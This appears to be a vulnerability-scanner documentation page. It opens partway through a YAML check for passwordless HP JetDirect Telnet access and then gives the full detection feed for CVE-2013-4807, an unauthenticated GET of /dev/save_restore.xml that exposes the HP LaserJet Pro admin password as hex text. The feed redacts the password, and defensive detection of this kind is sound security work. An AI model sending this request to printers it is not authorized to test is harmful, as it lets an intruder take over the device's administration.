        description: "The HP JetDirect print server accepts Telnet connections without a password: the banner says no password is set and the read-only `/` command returned the printer's configuration page, while an unknown command did not. Anyone on the network can change the printer's IP address or disable its logging (CVE-1999-1061)."
        remediation: "Set a Telnet/administrator password on the JetDirect card (Telnet menu `passwd`, the embedded web server or HP Web JetAdmin), disable the Telnet configuration interface if it is not needed, and restrict TCP/23 to administrative hosts."
        confidence_delta: 0.65
        qod: 97
        evidence: "Telnet banner without password prompt; `/` answered: {{cfg.response}}"
      stop: true

  # Banner only ("Password is not set"), settings not shown, or the control
  # could not run / was inconclusive: QoD 75. A control that returned the
  # settings page (accept-everything service) suppresses every finding.
  - id: finding-banner
    action: match
    source: banner_all
    pattern: "Password is not set"
    condition: "gate == true && ctl_ok == false && (cfg_ok == false || ctl_replied == false)"
    on_match:
      finding:
        title: "HP JetDirect Telnet configuration interface without password"
        description: "The HP JetDirect print server's Telnet banner says that no password is set. Either the configuration page was not captured or the check against an unknown command could not run, so the result is reported with lower confidence (CVE-1999-1061)."
        remediation: "Set a Telnet/administrator password on the JetDirect card (Telnet menu `passwd`, the embedded web server or HP Web JetAdmin), disable the Telnet configuration interface if it is not needed, and restrict TCP/23 to administrative hosts."
        confidence_delta: 0.45
        qod: 75
        evidence: "Telnet banner: {{banner_all}}"
      stop: true

HP LaserJet Pro save_restore.xml admin password disclosure

CVECVE-2013-4807
Severityhigh · CVSS 7.8
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/hp-printers/CVE-2013-4807.yaml

Several HP LaserJet Pro printers (P1102w, P1606dn, CP1025nw and the M1212nf to M1218nfs MFP series) serve their settings backup at the hidden URL `/dev/save_restore.xml` without asking for authentication. The file holds the Embedded Web Server administrator password as hex text, so any remote user can read it and take over the printer's web administration (CVE-2013-4807).

What the test sends: one unauthenticated `GET /dev/save_restore.xml`.

What confirms the finding: the reply (HTTP 200) is the printer's settings backup with an `e_HttpPassword` variable whose value is hex text. The test decodes it: a non-empty password is reported as disclosed, with only its length in the evidence (never the password itself). When the value is empty (no administrator password set), the test reports the settings backup as readable without authentication. A patched printer requires a login for this URL or does not serve it.

How noctis detects it

  1. HTTP(S) request GET /dev/save_restore.xml
  2. Parses / computes the next value with a Rhai script
  3. Checks leak.verdict for ^e_HttpPassword=<redacted [0-9]+-character password>$ → finding QoD 75: HP LaserJet Pro admin password disclosed by /dev/save_restore.xml
  4. Checks leak.verdict for ^e_HttpPassword=<empty>$ → finding QoD 75: HP LaserJet Pro settings backup readable without authentication (no admin password set)

References:

Feed source — tests/vulnerabilities/hp-printers/CVE-2013-4807.yaml
# HP LaserJet Pro printers — unauthenticated /dev/save_restore.xml discloses
# the Embedded Web Server admin password (CVE-2013-4807, BID 61565,
# HPSBPI02904, disclosed by Michal Sajdak / Securitum, Aug 2013).
#
# Detection logic ported from the OpenVAS/Greenbone NVT
# 2013/gb_hp_laserjet_pro_61565.nasl (OID 1.3.6.1.4.1.25623.1.0.103757,
# GPL-2.0-only), cross-checked with Tenable's hp_laserjetpro_saverestore_pwd_disclosure.nasl.
# Kept as a comment: the description is product documentation.
#
# The NVT sends GET /dev/save_restore.xml and reports when the body contains
# "<name>e_HttpPassword</name>". The settings backup stores the password as a
# <variable> whose <value> is the password's bytes written as hex text,
# NUL-padded (the Tenable plugin decodes it the same way).
#
# Better than the NVT:
#   - the NVT needs a prior LaserJet CPE detection; this feed runs on every
#     HTTP/HTTPS port and relies on the e_HttpPassword variable itself, which
#     only this firmware's settings backup carries;
#   - the NVT reports on the variable name alone. This feed decodes the value
#     and only reports a password disclosure when it holds a hex-encoded
#     password; an empty (all-NUL) value — no admin password set —
#     gets its own finding, since the backup is still readable without login
#     but no password leaks;
#   - the password never reaches the finding: only its length is reported.
uid: 664e49d1-1c36-4ada-a8d9-6b6992798311
name: "HP LaserJet Pro save_restore.xml admin password disclosure (CVE-2013-4807)"
description: |
  Several HP LaserJet Pro printers (P1102w, P1606dn, CP1025nw and the M1212nf
  to M1218nfs MFP series) serve their settings backup at the hidden URL
  `/dev/save_restore.xml` without asking for authentication. The file holds
  the Embedded Web Server administrator password as hex text, so any remote
  user can read it and take over the printer's web administration
  (CVE-2013-4807).

  What the test sends: one unauthenticated `GET /dev/save_restore.xml`.

  What confirms the finding: the reply (HTTP 200) is the printer's settings
  backup with an `e_HttpPassword` variable whose value is hex text. The test
  decodes it: a non-empty password is reported as disclosed, with
  only its length in the evidence (never the password itself). When the value
  is empty (no administrator password set), the test reports the settings
  backup as readable without authentication. A patched printer requires a
  login for this URL or does not serve it.
cves: [CVE-2013-4807]
cvss: 7.8
severity: high
category: exposure
confidence_base: 0.30
tags: [hp, printer, laserjet, embedded-web-server, password-disclosure, information-disclosure, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-4807"
  - "https://www.securityfocus.com/bid/61565"

steps:
  # Pre-init what the script reads: a failed request stores nothing, and an
  # undefined variable would abort the test.
  - id: init-backup
    action: set_var
    var_name: backup
    var_value: {status: 0, body: ""}

  - id: fetch-backup
    action: http_request
    method: GET
    path: "/dev/save_restore.xml"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: backup

  # Decode the e_HttpPassword value. Only a verdict and the length leave this
  # step; the password itself is never stored.
  - id: decode-password
    action: script
    store_as: leak
    code: |
      let none = #{ state: "none", pw_len: 0, verdict: "" };
      if backup.status != 200 || type_of(backup.body) != "string" { return none; }
      // Rust regex has no look-around: elements between </name> and <value>
      // are skipped unless they start with "v" or "/v", so the match never
      // runs into the next <variable>.
      let m = eregmatch("(?is)<name[^>]*>\\s*e_HttpPassword\\s*</name>[^<]*(?:<(?:[^/v]|/[^v])[^<]*)*<value[^>]*>([^<]*)</value>", backup.body);
      if m.len() < 2 { return none; }
      let hex = ereg_replace("\\s+", "", m[1]);
      if !ereg("^(?:[0-9A-Fa-f]{2})*$", hex) { return none; }
      let n = 0;
      let i = 0;
      while i < hex.len() {
        let b = u8(hex.sub_string(i, 2));
        if b == 0 { break; }
        n += 1;
        i += 2;
      }
      if n > 0 {
        #{ state: "password", pw_len: n,
           verdict: "e_HttpPassword=<redacted " + n + "-character password>" }
      } else {
        #{ state: "empty", pw_len: 0, verdict: "e_HttpPassword=<empty>" }
      }

  - id: report-password
    action: match
    condition: "leak.state == \"password\""
    source: leak.verdict
    pattern: "^e_HttpPassword=<redacted [0-9]+-character password>$"
    on_match:
      finding:
        title: "HP LaserJet Pro admin password disclosed by /dev/save_restore.xml"
        description: "An unauthenticated GET /dev/save_restore.xml returned the printer's settings backup, whose e_HttpPassword variable holds the Embedded Web Server administrator password as hex text (CVE-2013-4807). Anyone who can reach the printer's web server can read the password and log in to its administration pages."
        remediation: "Update the printer firmware as described in HP security bulletin HPSBPI02904, then change the administrator password. Until then, allow access to the printer's web server only from management hosts."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /dev/save_restore.xml (HTTP 200) disclosed the administrator password: {{leak.verdict}}"
      stop: true

  - id: report-empty
    action: match
    condition: "leak.state == \"empty\""
    source: leak.verdict
    pattern: "^e_HttpPassword=<empty>$"
    on_match:
      finding:
        title: "HP LaserJet Pro settings backup readable without authentication (no admin password set)"
        description: "An unauthenticated GET /dev/save_restore.xml returned the printer's settings backup (CVE-2013-4807). Its e_HttpPassword variable is empty: no administrator password is set, so no password leaked, but the backup and the administration pages are open to anyone who can reach the printer, and a password set later would be disclosed the same way."
        remediation: "Update the printer firmware as described in HP security bulletin HPSBPI02904 and set an administrator password. Until then, allow access to the printer's web server only from management hosts."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET /dev/save_restore.xml (HTTP 200) returned the settings backup: {{leak.verdict}}"

View these feeds on GitHub